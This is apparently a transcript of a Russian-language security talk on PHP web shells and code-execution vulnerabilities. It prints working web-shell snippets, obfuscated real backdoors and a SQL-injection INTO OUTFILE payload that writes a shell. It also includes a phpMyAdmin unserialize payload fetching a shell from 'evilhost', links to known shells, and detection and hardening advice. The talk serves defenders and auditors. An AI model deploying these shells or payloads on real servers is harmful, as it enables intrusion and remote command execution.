web shell evolution & code execution attacks in web application
Post on 17-Dec-2014
1.247 Views
Preview:
DESCRIPTION
TRANSCRIPT
WEB SHELL EVOLUTION&CODE EXECUTION ATTACKS IN WEB APPLICATION
Pratical cases[RUS]
Уязвимость, веб-шелл, бэкдор. Сходства и отличия.Веб-шелл - инструмент с большим набором функционала.
Целый ряд уязвимостей может использоваться для загрузки веб-шелла.
Отличия бэкдора от уязвимости субъективны.
Веб-шелл (бэкдор) может использовать для функционирования (выполнения кода и др.) как документированную функцию, так и уязвимость интерпретатора, препятствуя, тем самым, своему обнаружению.
Уязвимость, веб-шелл, бэкдор.<?php$regexp = $_GET['rx'];$var = '<tag>'.$_GET['vr']'</tag>';preg_replace("/<tag>(.*?)$regexp<\/tag>/", '\\1', $var);?>
<?php if(isset($_GET['debug'])) { eval($_GET['debug']);} ?>
<?php echo '<form action=$PHP_SELF method="post"><input type="text" name="command"></form>';if(isset($_POST)) { echo '<pre>'; passthru("$_POST['command']"); }?>
Обзор популярных веб-шеллов.WSOhttps://rdot.org/forum/showthread.php?t=1085
r57 http://v3n.0x7.net/soft/net/r57shell.v1.4.rar
CC99http://www.turktoplist.org/c99.txt
ASPXspy2http://code.google.com/p/pcsec/downloads/detail?name=aspxspy2.rar&can=2&q=
Как веб-шелл попадает на сервер?
● Уязвимости загрузчика файлов (обычно картинок)
● SQL-инъекции в случае FILE_PRIV (MySQL), COPY (Postgres), xp_cmdshell (MSsql)
● Уязвимости переименовывания существующих файлов в другое расширение (обычно админ. панель)
● Другие уязвимости
Как веб-шелл попадает на сервер?
● Картинка с веб-шеллом в EXIF shell.php.jpg● Картинка с веб-шеллом в статической области файла
(остается неизменным после масштабирования сервером)
http://www.0x416d73.name/articles/60
Как веб-шелл попадает на сервер?
● SQL-инъекции в случае FILE_PRIV (MySQL)
INTO OUTFILEINTO DUMPFILE
Работает после WHERE не смотря на документацию ;)http://dev.mysql.com/doc/refman/5.0/en/select.html
1'UNION(SELECT)('<?php _$GET[4]($_GET[0]);?>')INTO(OUTFILE)'../../../myshell.php';--
Поиск уязвимостей выполнения произвольного кода и веб-шеллов?
● Статический метод!# egrep -R --color "\s+eval\s*\("
● Динамический методhttp://xdebug.org/https://github.com/Tyrael/bytekit
● Автоматизированные утилитыhttp://dle-news.ru/modules/1058-zeos-antivirus.htmlhttp://0x416d73.name/proj/fcc.htmlGoogle :)
Статический метод
Плюсы:
● Высокая скорость работы● Простота реализации (кажущаяся)
Минусы:
● Требует множества сигнатур (eval, passthru, exec, system...)
● Ложные срабатывания //eval($_GET['debug'];) <script>eval('a=\'i-am-java$cript\'')</script>
Динамический метод
Плюсы:
● Высокая область покрытия
Минусы:
● Сложность реализации● Зависимость от версии
интерпретатора● Производительность
(ловит только во время работы)
Автоматизированные утилиты
Плюсы:
● Работают из коробки● Не требуют специальных знаний
Минусы:
● Ложные срабатывания● Производительность● Могут быть отключены злоумышленником до
срабатывания
Автоматизированные утилитыПросто найти работающий где-нибудь веб-шелл через гуглhttp://www.google.ru/#sclient=psy&hl=ru&newwindow=1&source=hp &q=%22r57shell+-+http-shell%22
Какие бывают веб-шеллы?Классификация:
● По механизму обмена данными (получение команды и отправка результата)
● По размеру (большие и маленькие)● По механизму защиты (шифрование,
обфускация)● По формату передачи команд (на основе GET,
POST, COOKIES, Headers, EXIF)● По механизму взаимодействия (синхронные,
асинхронные)
По механизму обмена данными
● Полностью серверные:
<?php echo '<form action=$PHP_SELF method="post"><input type="text" name="command"></form>'; if(isset($_POST)) { echo '<pre>'; passthru("$_POST['command']"); }?>
● Только загрузчик:
<?php eval(base64_decode($_COOKIE['shell_body'])); ?>
По размеру● Упакованные
eval(gzinflate(base64_decode('PACKED-SHELL-BODY')));
● Сверхмаленькие (используются при ограничениях на размер, например, в именах файлов, коротких полях ввода и проч.)
<?`$a`; //7 БАЙТ <?=@$_GET[8]($_GET[9]); //23 БАЙТА
http://raz0r.name/releases/mega-reliz-samyj-korotkij-shell/
По механизму защиты● Зашифрованное тело
- Нет возможности прочитать код без знания ключа - Ключ передается при вызове злоумышленником
● Зашифрованные команды - Нет возможность прочитать какая команда была передана от злоумышленника без знания ключа - Ключ для расшифровки команды внутри шелла
● Комбироварованные● Обфусцированные● Без защиты
Механизмы защиты. Обфускацияhttp://downloads.ackack.net/heyes_technique_multi.txt
http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/
Gareth Heyes writes: No. 2 — September 22nd, 2011 at 3:35 pmStefan Esser also commented you can get Array without single quotes @$§[]=$§; and of course you can get underscore as well.
$§[]=$§;$§=$§.$§;$§§=+$§;$§[+$§§++]|($§[$§§+$§§+$§§]^�);
По формату передачи команд● Команда в HTTP GET
- Попадает в access.log при конфигурации по-умолчанию● Команда в HTTP POST● Команда в HTTP заголовках (или COOKIE)● Команда в EXIF данных картинки
- Практически никогда не попадает в лог (файл может быть очень большим)
● Другие варианты
По механизму взаимодействия● Синхронные
Команда из запроса злоумышленника - Синхронное выполнение команды - Результат возвращается в HTTP ответе
● Асинхронные Команда на сервере - Веб-шелл сам читает команду, загруженную на удаленный сервер - Результат последней команды (команд) возвращается в HTTP-ответе злоумышленнику по спец. синхр. команде
Асинхронный веб-шелл.
Мораль #1 сей басни
Поиск уязвимостей выполнения произвольного кода и веб-шеллов, а также бэкдров, может быть основан на обнаружении небезопасных вызовов функций интерпретатора.
Какие это вызовы? eval(), system(), exec()? и не только...
Очевидные функцииeval()
`ls`system()exec()passthru()shell_exec()popen()proc_open()
Типичные ошибки
Не использование escapeshellarg(), escapeshellcmd() при вызове внешних программ, например, unzip, gpg.
Использование страниц шаблонов с PHP вставками.
Callback-функции PHP array_map array_filter array_reduce array_diff_uassoc array_diff_ukey array_udiff array_udiff_assoc array_diff_uassoc array_intersect_uassoc array_intersect_ukey array_uintersect array_uintersect_assoc array_uintersect_uassoc array_walk array_walk_recursive call_user_func call_user_func_array call_user_method call_user_method_array iterator_apply register_shutdown_function usort usort uasort uksort
xml_set_character_data_handler()xml_set_default_handler()xml_set_element_handler()xml_set_end_namespace_decl_handler()xml_set_external_entity_ref_handler()xml_set_notation_decl_handler()xml_set_processing_instruction_handler()xml_set_start_namespace_decl_handler()xml_set_unparsed_entity_decl_handler()stream_filter_register()set_error_handler()set_exception_handler()register_shutdown_function()register_tick_function()preg_replace_callback()iterator_apply()filter_input()filter_var()filter_input_array()filter_var_array()session_set_save_handler()preg_replace_callback spl_autoload_register
Динамические методы и функции● create_function()
$foobar = $_GET['foobar']; $dyn_func = create_function('$foobar', "echo $foobar;"); $dyn_func(''); http://www.example.com/index.php?foobar=system('ls')
● ReflectionFunction() $func = new ReflectionFunction('assert'); var_dump($func->invoke("phpinfo()"));
● $a($b) $_COOKIE[9](_$COOKIE[8]);
Кстати, динамические переменные.● $$name=$value
foreach ($_GET as $key => $value) { $$key = $value; }
● parse_str() без второго аргумента parse_str($_SERVER['QUERY_STRING']); перепишет элемент _SERVER при ?SERVER[HTTP_HOST]=!!!
● extract() extract($_SERVER['QUERY_STRING']); перепишет весь _SERVER при ?SERVER[HTTP_HOST]=!!!
■ import_request_variables() PHP<=5.2.1
Выполнение кода через include :)<?php $lang = $_GET['lang']; require_once($to_include . '.inc.html');?>
http://local/a.php?file=data:text/plain,<?php phpinfo();?>%00
includeinclude_oncerequirerequire_once
Самые популярные уязвимости● preg_replace()
$regexp = $_GET['rx']; $var = '<tag>'.$_GET['vr']'</tag>';preg_replace("/<tag>(.*?)$regexp<\/tag>/", '\\1', $var);
● assert()$assn = “valid prefix “ . $_GET['toas'] . " any postfix";assert($assn);
● ob_start()ob_start($bufout); $bufout = 'system'; echo 'whoami';ob_end_flush();
Несколько примеров из жизни.<? extract($_COOKIE); @$i($p); ?>
<?php $s=$_SERVER['HTTP_ACCEPT_ASE']; if ($s) {passthru($s);} else { phpinfo();}?>
<?php $v="_"; $v.="rot"; $v.=14-1; $v="str$v"; $w=$v("onfr64_qrpbqr"); $x=$w('Y3JlYXRlX2Z1bmN0aW9u'); $y=$w('QGFzc2VydCgkX1JFUVVFU1RbJ3d3dyddKTs='); $z=$x('',$y); $z(); ?>
<?php if ( $_SERVER['HTTP_DEST'] ) { @preg_replace( "/(.*)/e", "\$1", _SERVER['HTTP_DEST'] ); exit( ); } ?>
Выполнение кода через переопределениеРассмотрим unserialize() функцию. - 5 ноября 2009, Сеул, конф. PoC2009 «Shocking News in PHP Exploitation» - Stefan Esserhttp://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf
● Польз. данные попадают в unserialize()● Есть классы с magic-методами __destruct,__toString,
__wakeup● Эти классы доступные из кода с unserialize()● Эти методы содержат какие-либо уязвимости (sqli,exec..)
Unserialize пример выполнения кодаphpMyAdmin <= 2.11.9
● $configuration=unserialize($_POST['configuration']);● function __wakeup(){ …● $this->load();● eval('?>' . trim(file_get_contents($this-
>getSource())));
O:10:"PMA_Config":1:{s:6:"source";s:70:"ftp://evilhost/shell.php";}
http://snipper.ru/view/12/phpmyadmin-2119-unserialize-arbitrary-php-code-execution-exploit/
Unserialize альтернатива _SESSION
PHP 5.2 <= 5.2.13PHP 5.3 <= 5.3.2$_SESSION[$_POST['prefix'] . 'bla'] = $_POST['data'];или$_SESSION = array_merge($_SESSION, $_POST);
prefix=!data=|xxx|O:10:"evilObject":0:{}
Получается – аналог unserialize()… Не только
Unserialize альтернатива _SESSION
При REGISTER_GLOBALS=On:
● Чтение (попадание в _SESSION) _SERVER, приватных переменных классов, etc test.php?prefix=!&data=|_SERVER|
● Перезапись _SERVER, приватных переменных классов, etc test.php?prefix=!&data=|_SERVER|a:1:{s:11:"REMOTE_ADDR";s:3:"!!!";}
Меры борьбы пост-фактум #1
● disable_functions "popen,exec,system,passthru,proc_open,shell_exec"
● open_basedir "/var/www/mywwwroot/"● safe_mode 1● safe_mode_exec_dir● allow_url_fopen 0● allow_url_include 0
Динамический evalhook на основе bytekit
Триггеринг обращений к СУБД
Мониторинг процессов
Меры борьбы пост-фактум #1
Плюсы● Не зависит от наличия уязвимостей● Быстро настраивается в любой среде● Снижают проихзводительность
Минусы● Могут возникнуть конфликты с существующим кодом● Существует множество уязвимостей интерпретатора,
позволяющих обойти эти ограничения.
http://www.google.ru/search?sourceid=chrome&ie=UTF-8&q=php+basedir+bypass
Меры борьбы пост-фактум #2
● Проактивная защита
Apache mod_securityhttp://www.modsecurity.org/ PHPIDShttp://phpids.org/ etc.
Фильтруют входящие параметры (польз. данные) по сигнатурам.Не смогут обнаружить зашифрованные команды
Меры борьбы пост-фактум #2
Плюсы● Не зависит от наличия уязвимостей● Блокируют множество сигнатур атак, например, XSS/SQLi
Минусы● Конфликты с легитимными запросами (ложные
срабатывания)● Сильная просадка по производительности
Заключение и выводыНеобходимо использовать все доступные методы:
- Становление процессов администрирования, реагирования на инциденты, разработки, аудита - Правильная настройка серверной части (safe_mode, disabled_functions) - Автоматизированные проверки целостности системы - Поиск веб-шеллов по регулярным выражениям (баннерам) - Поиск и устранение уязвимостей (аудит)
top related